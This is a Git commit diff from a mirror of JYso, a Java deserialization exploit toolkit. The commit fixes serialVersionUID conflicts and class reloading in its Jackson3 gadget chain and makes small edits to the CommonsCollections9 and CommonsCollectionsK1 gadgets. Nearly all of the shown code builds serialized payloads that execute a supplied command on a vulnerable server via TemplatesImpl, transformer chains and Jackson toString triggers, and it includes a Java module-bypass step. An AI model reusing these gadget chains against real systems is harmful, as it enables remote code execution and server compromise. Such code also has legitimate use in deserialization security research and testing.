archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: Jackson3 UID冲突问题，类重复加载问题

Browse Source
This commit is contained in:
qi4L
2025-08-28 14:27:05 +08:00
parent 6169c3acc8
commit 34ce7e237e
3 changed files with 51 additions and 36 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java
+3 -4
View File
@@ -20,12 +20,11 @@ import java.util.Map;
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String command) throws Exception {
String[] execArgs = {command};
Class c = (execArgs.length > 1) ? String[].class : String.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java
+1
View File
@@ -25,6 +25,7 @@ import java.util.Map;
public class CommonsCollectionsK1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+47 -32
View File
@@ -1,9 +1,11 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassClassPath;
import sun.misc.Unsafe;
import org.springframework.aop.framework.AdvisedSupport;
@@ -11,6 +13,7 @@ import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import weblogic.apache.xpath.objects.XObject;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
@@ -22,8 +25,10 @@ import java.lang.reflect.Proxy;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@@ -39,36 +44,19 @@ public class Jackson3 implements ObjectPayload<Object> {
return proxy;
}
@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {
public static Object getEventListenerList(Object obj) throws Exception {
//EventListenerList list = new EventListenerList();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList")));
final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList");
insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;");
Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
}
//UndoManager undomanager = new UndoManager();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager")));
final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager");
insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(Jackson3.class);
classes.add(Field.class);
classes.add(Method.class);
new Jackson3().bypassModule(classes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
EventListenerList eventListenerList = getEventListenerList(node);
return getEventListenerList(node);
}
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
@@ -121,8 +109,7 @@ public class Jackson3 implements ObjectPayload<Object> {
}
}
public static Object getFieldValue(Object obj, String fieldName) throws
Exception {
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
@@ -136,10 +123,38 @@ public class Jackson3 implements ObjectPayload<Object> {
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws
Exception {
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(Jackson3.class);
classes.add(Field.class);
classes.add(Method.class);
new Jackson3().bypassModule(classes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
Object eventListenerList = getEventListenerList(node);
return eventListenerList;
}
}